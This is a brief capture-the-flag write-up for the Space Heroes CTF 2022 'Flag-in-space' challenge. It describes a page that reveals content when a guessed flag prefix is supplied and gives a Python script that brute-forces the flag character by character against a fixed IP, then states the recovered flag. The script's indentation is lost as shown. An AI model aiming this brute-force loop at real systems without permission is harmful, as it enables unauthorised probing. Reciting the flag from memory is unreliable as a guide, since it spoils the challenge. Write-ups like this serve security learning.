Website shows blank cards and challenge description pointed to `?flag=` parameter


After supplying the flag format some cards are exposed


Bruteforce script

```python
import requests
import string
import re
from time import sleep

URL = 'http://172.105.154.14/?flag='
DICT = string.printable
REGEX = "<div>\n\n(.*\n)\n<\/div>"
FLAG='shctf{'
tempFlag='shctf{'

while True:
for ch in DICT:
print(f'\rFLAG={FLAG+str(ch)}',end='')
r = requests.get(URL+FLAG+str(ch))
flagre = re.findall(REGEX, r.text)
tempFlag = ''.join([f.strip() for f in flagre[:-1]])
if tempFlag == FLAG+str(ch):
FLAG += str(ch)
print(f"\rFLAG={FLAG}",end='')
break
```


`shctf{2_explor3_fronti3r}`

Original writeup (https://github.com/SovietBeast/CTF-writeups/blob/main/Space%20Heroes%20CTF%202022/Flag-in-space.md).